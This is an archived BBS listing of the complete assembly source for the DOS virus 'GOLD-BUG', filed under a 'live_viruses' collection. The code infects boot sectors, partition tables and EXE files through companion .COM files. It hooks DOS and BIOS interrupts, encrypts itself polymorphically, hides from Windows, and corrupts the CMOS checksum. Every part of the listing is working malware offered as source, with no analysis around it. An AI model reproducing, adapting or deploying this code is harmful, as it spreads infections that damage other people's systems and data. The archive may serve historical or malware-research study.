home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / goldbug.asm < prev    next >
Assembly Source File  |  1994-03-01  |  32KB  |  1,020 lines

  1. cseg            segment para    public  'code'
  2. gold_bug        proc    near
  3. assume          cs:cseg
  4.  
  5. ;-----------------------------------------------------------------------------
  6.  
  7. ;designed by "Q" the misanthrope.
  8.  
  9. ;-----------------------------------------------------------------------------
  10.  
  11. .186
  12.  
  13. ;-----------------------------------------------------------------------------
  14.  
  15. ;floppy boot infection
  16.  
  17. FLOPPY_1_2M     equ     001h
  18. FLOPPY_760K     equ     000h
  19. FLOPPY_TYPE     equ     FLOPPY_1_2M
  20.  
  21. ;-----------------------------------------------------------------------------
  22.  
  23. SECTOR_SIZE     equ     00200h
  24. RES_OFFSET      equ     0fb00h
  25. COM_OFFSET      equ     00100h
  26. RELATIVE_OFFSET equ     RES_OFFSET-COM_OFFSET
  27. PART_OFFSET     equ     COM_OFFSET+SECTOR_SIZE
  28. BOOT_OFFSET     equ     07c00h
  29. RELATIVE_BOOT   equ     BOOT_OFFSET-PART_OFFSET
  30. LOW_JMP_10      equ     0031ch
  31. LOW_JMP_21      equ     00321h
  32. SAVE_INT_CHAIN  equ     0032ch
  33. SCRATCH_AREA    equ     08000h
  34. HEADER_SEGMENT  equ     00034h
  35. INT_21_IS_NOW   equ     0cch
  36. BIOS_INT_13     equ     0c6h
  37. NEW_INT_13_LOOP equ     0cdh
  38. BOOT_SECTOR     equ     001h
  39. DESCRIPTOR_OFF  equ     015h
  40. IF FLOPPY_TYPE EQ FLOPPY_1_2M
  41. DESCRIPTOR      equ     0f909h
  42. OLD_BOOT_SECTOR equ     00eh
  43. COM_CODE_SECTOR equ     00dh
  44. ELSE
  45. DESCRIPTOR      equ     0f905h
  46. OLD_BOOT_SECTOR equ     005h
  47. COM_CODE_SECTOR equ     004h
  48. ENDIF
  49. READ_ONLY       equ     001h
  50. SYSTEM          equ     004h
  51. DELTA_RI        equ     004h
  52. DSR             equ     020h
  53. CTS             equ     010h
  54. CD              equ     080h
  55. FAR_JUMP        equ     0eah
  56. MIN_FILE_SIZE   equ     00500h
  57. PSP_SIZE        equ     00100h
  58. VIRGIN_INT_13_A equ     00806h
  59. VIRGIN_INT_13_B equ     007b4h
  60. VIRGIN_INT_2F   equ     00706h
  61. FAR_JUMP_OFFSET equ     006h
  62. SET_INT_OFFSET  equ     007h
  63. CHANGE_SEG_OFF  equ     009h
  64. VIDEO_MODE      equ     00449h
  65. MONOCHROME      equ     007h
  66. COLOR_VIDEO_MEM equ     0b000h
  67. ADDR_MUL        equ     004h
  68. SINGLE_BYTE_INT equ     003h
  69. VIDEO_INT       equ     010h
  70. VIDEO_INT_ADDR  equ     VIDEO_INT*ADDR_MUL
  71. DISK_INT        equ     013h
  72. DISK_INT_ADDR   equ     DISK_INT*ADDR_MUL
  73. SERIAL_INT      equ     014h
  74. DOS_INT         equ     021h
  75. DOS_INT_ADDR    equ     DOS_INT*ADDR_MUL
  76. MULTIPLEX_INT   equ     02fh
  77. COMMAND_LINE    equ     080h
  78. FIRST_FCB       equ     05ch
  79. SECOND_FCB      equ     06ch
  80. NULL            equ     00000h
  81. GET_PORT_STATUS equ     00300h
  82. WRITE_TO_PORT   equ     00100h
  83. HD_0_HEAD_0     equ     00080h
  84. READ_A_SECTOR   equ     00201h
  85. WRITE_A_SECTOR  equ     00301h
  86. GET             equ     000h
  87. SET             equ     001h
  88. DELETE_W_FCB    equ     01300h
  89. DEFAULT_DRIVE   equ     000h
  90. GET_DEFAULT_DR  equ     01900h
  91. DOS_SET_INT     equ     02500h
  92. FILE_DATE_TIME  equ     05700h
  93. DENYNONE        equ     040h
  94. OPEN_W_HANDLE   equ     03d00h
  95. READ_W_HANDLE   equ     03f00h
  96. WRITE_W_HANDLE  equ     04000h
  97. CLOSE_HANDLE    equ     03e00h
  98. UNLINK          equ     04100h
  99. FILE_ATTRIBUTES equ     04300h
  100. RESIZE_MEMORY   equ     04a00h
  101. QUERY_FREE_HMA  equ     04a01h
  102. ALLOCATE_HMA    equ     04a02h
  103. EXEC_PROGRAM    equ     04b00h
  104. GET_ERROR_LEVEL equ     04d00h
  105. TERMINATE_W_ERR equ     04c00h
  106. RENAME_A_FILE   equ     05600h
  107. LSEEK_TO_END    equ     04202h
  108. CREATE_NEW_FILE equ     05b00h
  109. RESIDENT_LENGTH equ     068h
  110. PARAMETER_TABLE equ     005f1h
  111. MAX_PATH_LENGTH equ     00080h
  112. EXE_HEADER_SIZE equ     020h
  113. NEW_EXE_HEADER  equ     00040h
  114. NEW_EXE_OFFSET  equ     018h
  115. PKLITE_SIGN     equ     'KP'
  116. PKLITE_OFFSET   equ     01eh
  117. NO_OF_COM_PORTS equ     004h
  118. WINDOWS_BEGIN   equ     01605h
  119. WINDOWS_END     equ     01606h
  120. ERROR_IN_EXE    equ     0000bh
  121. FILE_SIGNATURE  equ     07081h
  122. XOR_SWAP_OFFSET equ     byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES
  123. FILE_LEN_OFFSET equ     byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES
  124. FIRST_UNDO_OFF  equ     byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE)
  125. SECOND_UNDO_OFF equ     byte ptr ((offset second_jmp)-(offset com_code))
  126. BL_BX_OFFSET    equ     byte ptr ((offset incbl_incbx)-(offset com_code))
  127. ROTATED_OFFSET  equ     byte ptr ((offset rotated_code)-(offset com_code))
  128. STRING_LENGTH   equ     byte ptr ((offset partition_sig)-(offset string))
  129. EXEC_SUBTRACT   equ     byte ptr ((offset file_name)-(offset exec_table))
  130. DH_OFFSET       equ     byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES)
  131. ONE_NIBBLE      equ     004h
  132. ONE_BYTE        equ     001h
  133. TWO_BYTES       equ     002h
  134. THREE_BYTES     equ     003h
  135. FOUR_BYTES      equ     004h
  136. FIVE_BYTES      equ     005h
  137. FIVE_BITS       equ     005h
  138. EIGHT_BYTES     equ     008h
  139. USING_HARD_DISK equ     080h
  140. KEEP_CF_INTACT  equ     002h
  141. CMOS_CRC_ERROR  equ     02eh
  142. CMOS_PORT       equ     070h
  143. REMOVE_NOP      equ     001h
  144. CR              equ     00dh
  145. LF              equ     00ah
  146. INT3_INCBX      equ     043cch
  147. INC_BL          equ     0c3feh
  148. INCBX_INCBL_XOR equ     INT3_INCBX XOR INC_BL
  149. JMP_NO_SIGN     equ     079h
  150. JMP_NOT_ZERO    equ     075h
  151. JNS_JNZ_XOR     equ     JMP_NO_SIGN XOR JMP_NOT_ZERO
  152.  
  153. ;-----------------------------------------------------------------------------
  154.  
  155. video_seg       segment at 0c000h
  156.         org     00000h
  157. original_int_10 label   word
  158. video_seg       ends
  159.  
  160. ;-----------------------------------------------------------------------------
  161.  
  162. io_seg          segment at 00070h
  163.         org     00893h
  164. original_2f_jmp label   word
  165. io_seg          ends
  166.  
  167. ;-----------------------------------------------------------------------------
  168.  
  169.         org     COM_OFFSET
  170. com_code:
  171.  
  172. ;-----------------------------------------------------------------------------
  173.  
  174. first_decode    proc    near
  175. serial_number:  xor     word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE
  176.         org     $-REMOVE_NOP
  177.         org     $-FIVE_BYTES
  178.         jmp     load_it
  179.         org     $+TWO_BYTES
  180. rotated_code:   int     SINGLE_BYTE_INT
  181.         into
  182.         adc     al,0d4h
  183. incbl_incbx:    inc     bl
  184. first_jmp:      jnz     serial_number
  185.         add     bx,si
  186.         jns     serial_number
  187. first_decode    endp
  188.  
  189. ;-----------------------------------------------------------------------------
  190.  
  191. second_decode   proc    near
  192.         push    si
  193. get_next_byte:  lodsw
  194.         add     bx,ax
  195.         inc     bx
  196.         xor     byte ptr ds:[si+SECOND_UNDO_OFF],bl
  197.         org     $-REMOVE_NOP
  198.         dec     si
  199. second_jmp:     jns     get_next_byte
  200.         pop     si
  201. second_decode   endp
  202.  
  203. ;-----------------------------------------------------------------------------
  204.  
  205. com_start       proc    near
  206.         push    cs
  207.         pop     es
  208.         call    full_move_w_si
  209.         mov     ds,cx
  210.         cmp     cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
  211.         jne     dont_set_int
  212.         mov     di,VIRGIN_INT_13_B
  213.         call    set_both_ints
  214.         push    cs
  215.         pop     es
  216. dont_set_int:   mov     cl,RESIDENT_LENGTH
  217.         mov     al,high(RESIZE_MEMORY)
  218.         shl     ax,cl
  219.         mov     bx,cx
  220.         int     DOS_INT
  221.         pusha
  222.         call    from_com_code+RELATIVE_OFFSET
  223.         popa
  224.         push    cs
  225.         pop     ds
  226.         push    cs
  227.         pop     es
  228.         cmpsw
  229.         mov     dx,si
  230.         sub     si,EXEC_SUBTRACT
  231.         org     $-REMOVE_NOP
  232.         mov     bx,PARAMETER_TABLE
  233.         mov     di,bx
  234.         mov     ax,EXEC_PROGRAM
  235. set_table:      scasw
  236.         movsb
  237.         scasb
  238.         mov     word ptr ds:[di],ds
  239.         je      set_table
  240.         int     DOS_INT
  241.         mov     ah,high(GET_ERROR_LEVEL)
  242.         int     DOS_INT
  243.         mov     ah,high(TERMINATE_W_ERR)
  244.         int     DOS_INT
  245. com_start       endp
  246.  
  247. ;-----------------------------------------------------------------------------
  248.  
  249. interrupt_21    proc    far
  250.         pushf
  251.         pusha
  252.         push    ds
  253.         push    es
  254.         mov     di,dx
  255.         push    ds
  256.         pop     es
  257.         cld
  258.         mov     cx,MAX_PATH_LENGTH
  259.         mov     si,offset file_name+RELATIVE_OFFSET
  260.         mov     bx,ax
  261.         cmp     ax,EXEC_PROGRAM
  262.         je      start_process
  263.         cmp     ah,high(OPEN_W_HANDLE)
  264.         je      start_process
  265.         cmp     ah,high(UNLINK)
  266.         jne     a_return
  267. start_process:  xor     ax,ax
  268. copy_name:      mov     bl,byte ptr ds:[di]
  269.         mov     byte ptr cs:[si],bl
  270.         inc     si
  271.         scasb
  272.         loopne  copy_name
  273.         std
  274.         scasw
  275.         mov     byte ptr cs:[si-FIVE_BYTES],al
  276.         mov     al,'E'
  277.         scasw
  278.         jne     a_return
  279.         mov     ah,'X'
  280.         scasw
  281.         jne     a_return
  282.         push    ds
  283.         pusha
  284.         call    open_close_file
  285.         mov     word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx
  286.         mov     word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx
  287.         or      si,si
  288.         jnz     large_exe_file
  289.         cmp     word ptr ds:[si],FILE_SIGNATURE
  290.         je      our_kind
  291.         xor     di,bp
  292.         jpo     our_kind
  293.         cmp     word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER
  294.         jb      test_if_open
  295.         cmp     word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN
  296.         je      test_if_open
  297. large_exe_file: popa
  298.         pop     ds
  299.         mov     al,'N'
  300.         scasb
  301.         ja      a_return
  302.         mov     al,'A'
  303.         scasb
  304.         jne     a_return
  305.         pop     es
  306.         pop     ds
  307.         popa
  308.         cmp     ah,high(EXEC_PROGRAM)
  309.         jne     opened_file
  310.         popf
  311.         mov     al,CMOS_CRC_ERROR
  312.         out     CMOS_PORT,ax
  313.         mov     al,ERROR_IN_EXE
  314.         stc
  315.         retf    KEEP_CF_INTACT
  316. our_kind:       popa
  317.         pop     ds
  318. error_in_copy:  inc     di
  319.         xchg    byte ptr ds:[di],ch
  320.         mov     ax,OPEN_W_HANDLE+DENYNONE
  321.         int     INT_21_IS_NOW
  322.         xchg    ax,bx
  323.         jnc     close_it
  324.         mov     byte ptr ds:[di],ch
  325. jmp_a_return:   jmp     short a_return
  326. close_it:       call    force_close
  327. a_return:       pop     es
  328.         pop     ds
  329.         popa
  330. opened_file:    popf
  331. old_int_10_21:  jmp     far ptr original_int_10
  332. test_if_open:   popa
  333.         pop     ds
  334.         cmp     bh,high(EXEC_PROGRAM)
  335.         jne     error_in_copy
  336. drive_letter:   sub     al,USING_HARD_DISK
  337.         jns     error_in_copy
  338.         mov     ax,GET+FILE_ATTRIBUTES
  339.         int     INT_21_IS_NOW
  340.         mov     ah,high(RENAME_A_FILE)
  341.         pusha
  342.         mov     di,offset file_name+RELATIVE_OFFSET
  343.         push    cs
  344.         pop     es
  345.         int     INT_21_IS_NOW
  346. set_attribs:    popa
  347.         int     INT_21_IS_NOW
  348.         mov     ah,high(CREATE_NEW_FILE)
  349.         int     INT_21_IS_NOW
  350.         jc      error_in_copy
  351.         xchg    ax,bx
  352.         mov     ax,SET+FILE_ATTRIBUTES
  353.         pusha
  354.         push    ds
  355.         push    cs
  356.         pop     ds
  357.         or      cl,SYSTEM
  358.         mov     dx,offset file_name+RELATIVE_OFFSET
  359.         int     INT_21_IS_NOW
  360.         mov     dx,offset fcb_name+RELATIVE_OFFSET
  361.         mov     ah,high(DELETE_W_FCB)
  362.         int     INT_21_IS_NOW
  363.         xor     di,di
  364.         mov     ax,SCRATCH_AREA
  365.         mov     es,ax
  366.         mov     ds,ax
  367.         call    full_move
  368.         call    move_some_more
  369.         xor     si,si
  370.         mov     cx,word ptr ds:[si+FILE_LEN_OFFSET]
  371.         org     $-REMOVE_NOP
  372.         pusha
  373. set_second:     add     al,byte ptr cs:[si+RES_OFFSET]
  374.         inc     ax
  375.         xor     byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al
  376.         org     $-REMOVE_NOP
  377.         inc     si
  378.         loop    set_second
  379.         popa
  380.         mov     ax,cx
  381.         pusha
  382.         xor     bx,bx
  383.         mov     bl,byte ptr ds:[si+XOR_SWAP_OFFSET]
  384.         org     $-REMOVE_NOP
  385. set_first:      xor     word ptr ds:[bx],ax
  386.         inc     bx
  387.         loop    set_first
  388.         popa
  389.         mov     ah,high(WRITE_W_HANDLE)
  390.         cwd
  391.         int     INT_21_IS_NOW
  392.         mov     ax,SET+FILE_DATE_TIME
  393. new_time:       mov     cx,NULL
  394. new_date:       mov     dx,NULL
  395.         call    do_int21_close
  396.         pop     ds
  397.         jmp     short set_attribs
  398. interrupt_21    endp
  399.  
  400. ;-----------------------------------------------------------------------------
  401.  
  402. open_close_file proc    near
  403.         mov     ax,OPEN_W_HANDLE+DENYNONE
  404.         xor     cx,cx
  405.         int     INT_21_IS_NOW
  406.         jc      more_returns
  407.         xchg    ax,bx
  408.         mov     dx,HEADER_SEGMENT
  409.         mov     ds,dx
  410.         mov     dl,NO_OF_COM_PORTS
  411. scan_coms:      dec     dx
  412.         js      no_more_coms
  413.         mov     ax,GET_PORT_STATUS
  414.         int     SERIAL_INT
  415.         xor     al,DELTA_RI+CTS+DSR
  416.         and     al,DELTA_RI+CTS+DSR+CD
  417.         jnz     scan_coms
  418.         mov     si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET
  419.         mov     cl,STRING_LENGTH
  420. output_data:    lods    byte ptr cs:[si]
  421.         mov     ah,high(WRITE_TO_PORT)
  422.         int     SERIAL_INT
  423.         loop    output_data
  424. no_more_coms:   mov     cl,EXE_HEADER_SIZE
  425.         mov     ah,high(READ_W_HANDLE)
  426.         cwd
  427.         int     INT_21_IS_NOW
  428.         xor     cx,cx
  429.         mov     ax,LSEEK_TO_END
  430.         int     INT_21_IS_NOW
  431.         mov     word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax
  432.         inc     ah
  433.         cmp     ax,MIN_FILE_SIZE+PSP_SIZE
  434.         adc     dx,cx
  435.         mov     si,dx
  436.         mov     ax,GET+FILE_DATE_TIME
  437. do_int21_close: int     INT_21_IS_NOW
  438. force_close:    mov     ah,high(CLOSE_HANDLE)
  439.         int     INT_21_IS_NOW
  440. more_returns:   ret
  441. open_close_file endp
  442.  
  443. ;-----------------------------------------------------------------------------
  444.  
  445. full_move_w_si  proc    near
  446. swap_incbx_bl:  xor     word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR
  447.         org     $-REMOVE_NOP
  448.         xor     byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR
  449.         org     $-REMOVE_NOP
  450.         stc
  451. full_move_w_di: mov     di,RES_OFFSET
  452. full_move:      call    move_code
  453. move_code:      jc      move_some_more
  454.         mov     si,RES_OFFSET
  455.         mov     cl,ONE_NIBBLE
  456.         ror     word ptr cs:[si+ROTATED_OFFSET],cl
  457.         org     $-REMOVE_NOP
  458. move_some_more: mov     cx,SECTOR_SIZE
  459.         pushf
  460.         cld
  461.         rep     movs byte ptr es:[di],cs:[si]
  462.         popf
  463.         stc
  464.         ret
  465. full_move_w_si  endp
  466.  
  467. ;-----------------------------------------------------------------------------
  468.  
  469.         org     PART_OFFSET-ONE_BYTE
  470. fcb_name        db      DEFAULT_DRIVE
  471.  
  472. ;-----------------------------------------------------------------------------
  473.  
  474.         org     PART_OFFSET
  475. boot_code:
  476.  
  477. ;-----------------------------------------------------------------------------
  478.  
  479. initialize_boot proc    near
  480.         db      'CHKLIST????'
  481.         cli
  482.         push    cs
  483.         mov     si,BOOT_OFFSET-SECTOR_SIZE
  484.         pop     ss
  485.         mov     sp,si
  486.         sti
  487.         push    cs
  488.         org     PART_OFFSET+DESCRIPTOR_OFF
  489.         db      high(DESCRIPTOR)
  490.         pop     ds
  491.         mov     cx,COM_CODE_SECTOR
  492.         pushf
  493.         push    cs
  494.         push    BOOT_OFFSET
  495.         mov     ax,READ_A_SECTOR
  496.         push    cs
  497.         pop     es
  498. dh_value:       mov     dx,NULL
  499.         mov     bx,dx
  500.         xor     dh,al
  501.         shr     dx,1
  502.         mov     dh,bh
  503.         push    dx
  504.         mov     bx,si
  505.         push    ax
  506.         int     DISK_INT
  507.         pop     ax
  508.         mov     di,VIDEO_INT_ADDR
  509.         mov     bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE
  510.         call    get_n_set_int+ONE_BYTE
  511.         mov     bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET
  512.         cmp     dx,LOW_JMP_10
  513.         je      try_this_out
  514.         cmp     byte ptr ds:[VIDEO_MODE],MONOCHROME
  515.         jae     try_this_out
  516.         mov     di,DISK_INT_ADDR
  517.         call    set_both_ints
  518.         mov     ch,high(COLOR_VIDEO_MEM)
  519.         mov     bx,offset high_code+RELATIVE_OFFSET
  520. try_this_out:   push    cx
  521.         push    bx
  522.         mov     es,cx
  523.         call    full_move_w_si
  524.         retf
  525. initialize_boot endp
  526.  
  527. ;-----------------------------------------------------------------------------
  528.  
  529. high_code       proc    near
  530.         mov     dx,offset int_10_start+RELATIVE_OFFSET
  531.         mov     bx,LOW_JMP_10-FAR_JUMP_OFFSET
  532.         call    set_int_10_21
  533.         mov     bx,VIDEO_INT_ADDR-SET_INT_OFFSET
  534. low_code:       mov     es,cx
  535.         mov     cl,OLD_BOOT_SECTOR
  536.         mov     dx,LOW_JMP_10
  537.         call    set_interrupt
  538.         mov     bx,BOOT_OFFSET
  539.         pop     dx
  540.         int     DISK_INT
  541.         xor     dh,dh
  542.         mov     cl,BOOT_SECTOR
  543.         mov     ax,WRITE_A_SECTOR
  544. high_code       endp
  545.  
  546. ;-----------------------------------------------------------------------------
  547.  
  548. interrupt_13    proc    far
  549. int_13_start:   mov     byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl
  550.         cmp     cx,BOOT_SECTOR
  551.         jne     no_boot_sector
  552.         cmp     ah,high(READ_A_SECTOR)
  553.         jne     no_boot_sector
  554.         cmp     dx,HD_0_HEAD_0
  555.         jbe     reread_boot
  556. no_boot_sector: int     NEW_INT_13_LOOP
  557.         jmp     short return_far
  558. reread_boot:    int     NEW_INT_13_LOOP
  559.         jc      return_far
  560.         pusha
  561.         push    ds
  562.         push    es
  563.         pop     ds
  564. check_old_boot: mov     ax,READ_A_SECTOR
  565.         xor     dh,dh
  566.         mov     cl,OLD_BOOT_SECTOR
  567.         cmp     word ptr ds:[bx],'HC'
  568.         je      read_old_boot
  569.         test    dl,USING_HARD_DISK
  570.         jnz     encode_hd
  571.         cmp     word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR
  572.         jne     time_to_leave
  573.         mov     dh,al
  574.         pusha
  575.         int     NEW_INT_13_LOOP
  576.         cmp     byte ptr ds:[bx],ch
  577.         popa
  578.         pushf
  579.         pusha
  580.         xor     dh,dh
  581.         mov     cl,al
  582.         int     NEW_INT_13_LOOP
  583.         popa
  584.         popf
  585.         jne     time_to_leave
  586. encode_hd:      mov     ah,high(WRITE_A_SECTOR)
  587.         push    ax
  588.         int     NEW_INT_13_LOOP
  589.         pop     ax
  590.         jc      time_to_leave
  591.         mov     di,bx
  592.         call    move_code
  593.         mov     cl,COM_CODE_SECTOR
  594.         xor     byte ptr ds:[bx+XOR_SWAP_OFFSET],dh
  595.         org     $-REMOVE_NOP
  596.         jo      dont_flip_it
  597.         xchg    word ptr ds:[bx+ROTATED_OFFSET],ax
  598.         org     $-REMOVE_NOP
  599.         xchg    ah,al
  600.         xchg    word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax
  601.         org     $-REMOVE_NOP
  602.         xchg    word ptr ds:[bx+ROTATED_OFFSET],ax
  603.         org     $-REMOVE_NOP
  604. dont_flip_it:   pusha
  605.         int     NEW_INT_13_LOOP
  606.         popa
  607.         mov     di,bx
  608.         call    move_some_more
  609.         mov     byte ptr ds:[bx+DH_OFFSET],dh
  610.         org     $-REMOVE_NOP
  611.         mov     dh,cl
  612.         inc     cx
  613.         int     NEW_INT_13_LOOP
  614.         jmp     short check_old_boot
  615. read_old_boot:  mov     dh,byte ptr ds:[bx+DH_OFFSET]
  616.         org     $-REMOVE_NOP
  617.         int     NEW_INT_13_LOOP
  618. time_to_leave:  pop     ds
  619.         popa
  620.         clc
  621. return_far:     retf    KEEP_CF_INTACT
  622. interrupt_13    endp
  623.  
  624. ;-----------------------------------------------------------------------------
  625.  
  626. interrupt_2f    proc    far
  627.         pusha
  628.         push    ds
  629.         push    es
  630.         push    offset return_to_2f+RELATIVE_OFFSET
  631.         xor     cx,cx
  632.         mov     ds,cx
  633.         mov     bx,SAVE_INT_CHAIN-SET_INT_OFFSET
  634.         cmp     ax,WINDOWS_END
  635.         jne     try_another
  636.         les     dx,dword ptr ds:[bx+SET_INT_OFFSET]
  637.         jmp     short set_13_chain
  638. try_another:    cmp     ax,WINDOWS_BEGIN
  639.         jne     another_return
  640.         mov     di,VIRGIN_INT_13_B
  641.         call    get_n_set_int+ONE_BYTE
  642.         les     dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]
  643. set_13_chain:   mov     ax,READ_A_SECTOR
  644.         call    get_set_part
  645.         mov     bx,VIRGIN_INT_13_B-SET_INT_OFFSET
  646.         call    set_interrupt
  647.         mov     bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET)
  648.         call    set_interrupt
  649.         mov     ah,high(WRITE_A_SECTOR)
  650. interrupt_2f    endp
  651.  
  652. ;-----------------------------------------------------------------------------
  653.  
  654. get_set_part    proc    near
  655.         pusha
  656.         push    es
  657.         mov     bx,SCRATCH_AREA
  658.         mov     es,bx
  659.         mov     dx,HD_0_HEAD_0
  660.         inc     cx
  661.         int     NEW_INT_13_LOOP
  662.         mov     ax,READ_A_SECTOR
  663.         int     DISK_INT
  664.         pop     es
  665.         popa
  666. another_return: ret
  667. get_set_part    endp
  668.  
  669. ;-----------------------------------------------------------------------------
  670.  
  671. return_to_2f    proc    near
  672.         pop     es
  673.         pop     ds
  674.         popa
  675.         jmp     far ptr original_2f_jmp
  676. return_to_2f    endp
  677.  
  678. ;-----------------------------------------------------------------------------
  679.  
  680. interrupt_10    proc    far
  681. int_10_start:   pushf
  682.         pusha
  683.         push    ds
  684.         push    es
  685.         push    offset a_return+RELATIVE_OFFSET
  686. from_com_code:  xor     bx,bx
  687.         mov     ds,bx
  688.         or      ah,ah
  689.         jz      set_10_back
  690.         mov     ax,QUERY_FREE_HMA
  691.         int     MULTIPLEX_INT
  692.         cmp     bh,high(MIN_FILE_SIZE+SECTOR_SIZE)
  693.         jb      another_return
  694.         mov     ax,ALLOCATE_HMA
  695.         int     MULTIPLEX_INT
  696.         clc
  697.         call    full_move_w_di
  698.         mov     dx,offset int_13_start+RELATIVE_OFFSET
  699.         call    set_13_chain
  700.         mov     bx,VIRGIN_INT_2F-SET_INT_OFFSET
  701.         mov     dx,offset interrupt_2f+RELATIVE_OFFSET
  702.         call    set_interrupt
  703.         cmp     word ptr ds:[LOW_JMP_10],cx
  704.         je      set_10_back
  705.         push    es
  706.         push    es
  707.         mov     di,DOS_INT_ADDR
  708.         mov     bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET
  709.         call    get_n_set_int+ONE_BYTE
  710.         pop     ds
  711.         mov     bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE
  712.         call    set_interrupt
  713.         mov     ds,cx
  714.         mov     ax,DOS_SET_INT+DOS_INT
  715.         mov     dx,LOW_JMP_21
  716.         int     INT_21_IS_NOW
  717.         pop     es
  718.         mov     bx,dx
  719.         mov     dx,offset interrupt_21+RELATIVE_OFFSET
  720.         mov     word ptr ds:[bx],0b450h
  721.         mov     word ptr ds:[bx+TWO_BYTES],0cd19h
  722.         mov     word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW
  723.         call    set_int_10_21
  724. set_10_back:    mov     di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE
  725.         mov     bx,LOW_JMP_10-FAR_JUMP_OFFSET
  726. interrupt_10    endp
  727.  
  728. ;-----------------------------------------------------------------------------
  729.  
  730. get_n_set_int   proc    near
  731.         les     dx,dword ptr cs:[di]
  732.         jmp     short set_interrupt
  733. set_int_10_21:  mov     byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP
  734. set_interrupt:  mov     word ptr ds:[bx+SET_INT_OFFSET],dx
  735.         mov     word ptr ds:[bx+CHANGE_SEG_OFF],es
  736.         ret
  737. get_n_set_int   endp
  738.  
  739. ;-----------------------------------------------------------------------------
  740.  
  741. set_both_ints   proc    near
  742.         mov     bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
  743.         call    get_n_set_int+ONE_BYTE
  744.         mov     bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
  745.         jmp     short set_interrupt
  746. set_both_ints   endp
  747.  
  748. ;-----------------------------------------------------------------------------
  749.  
  750. exec_table      db      COMMAND_LINE,FIRST_FCB,SECOND_FCB
  751.  
  752. ;-----------------------------------------------------------------------------
  753.  
  754.         org     PART_OFFSET+001f3h
  755. string          db      CR,'1O7=0SLMTA'
  756.  
  757. ;-----------------------------------------------------------------------------
  758.  
  759.         org     PART_OFFSET+SECTOR_SIZE-TWO_BYTES
  760. partition_sig   dw      0aa55h
  761.  
  762. ;-----------------------------------------------------------------------------
  763.  
  764.         org     PART_OFFSET+SECTOR_SIZE+TWO_BYTES
  765. file_name       db      'DA',027h,'BOYS.COM',NULL
  766.  
  767. ;-----------------------------------------------------------------------------
  768.  
  769.         org     PARAMETER_TABLE
  770.         dw      NULL,NULL,NULL,NULL,NULL,NULL,NULL
  771.         db      NULL
  772.  
  773. ;-----------------------------------------------------------------------------
  774.  
  775. load_it         proc    near
  776.         mov     word ptr ds:[si],FILE_SIGNATURE
  777.         mov     byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF
  778.         push    bx
  779.         xor     ax,ax
  780.         cli
  781.         out     043h,al
  782.         in      al,040h
  783.         mov     ah,al
  784.         in      al,040h
  785.         sti
  786.         push    ax
  787.         and     ax,0001eh
  788.         mov     bx,ax
  789.         mov     ax,word ptr ds:[bx+two_byte_table]
  790.         mov     word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax
  791.         org     $-REMOVE_NOP
  792.         pop     ax
  793.         and     ax,003e0h
  794.         mov     cl,FIVE_BITS
  795.         shr     ax,cl
  796.         mov     bx,ax
  797.         mov     al,byte ptr ds:[bx+one_byte_table]
  798.         xor     al,low(INC_BL)
  799.         mov     byte ptr ds:[swap_incbx_bl+THREE_BYTES],al
  800.         pop     bx
  801.         jmp     com_start
  802. load_it         endp
  803.  
  804. ;-----------------------------------------------------------------------------
  805.  
  806. two_byte_table: mov     al,0b2h
  807.         xor     al,0b4h
  808.         and     al,0d4h
  809.         les     ax,dword ptr ds:[si]
  810.         les     cx,dword ptr ds:[si]
  811.         les     bp,dword ptr ds:[si]
  812.         adc     al,0d4h
  813.         and     al,084h
  814.         adc     al,084h
  815.         adc     al,024h
  816.         add     al,084h
  817.         add     al,014h
  818.         add     al,024h
  819.         test    dl,ah
  820.         repz    stc
  821.         repnz   stc
  822.  
  823. ;-----------------------------------------------------------------------------
  824.  
  825. one_byte_table: int     SINGLE_BYTE_INT
  826.         into
  827.         daa
  828.         das
  829.         aaa
  830.         aas
  831.         inc     ax
  832.         inc     cx
  833.         inc     dx
  834.         inc     bp
  835.         inc     di
  836.         dec     ax
  837.         dec     cx
  838.         dec     dx
  839.         dec     bp
  840.         dec     di
  841.         nop
  842.         xchg    ax,cx
  843.         xchg    ax,dx
  844.         xchg    ax,bp
  845.         xchg    ax,di
  846.         cbw
  847.         cwd
  848.         lahf
  849.         scasb
  850.         scasw
  851.         xlat
  852.         repnz
  853.         repz
  854.         cmc
  855.         clc
  856.         stc
  857.  
  858. ;-----------------------------------------------------------------------------
  859.  
  860. gold_bug        endp
  861. cseg            ends
  862. end             com_code
  863.  
  864. ;-----------------------------------------------------------------------------
  865.  
  866. Virus Name:  GOLD-BUG
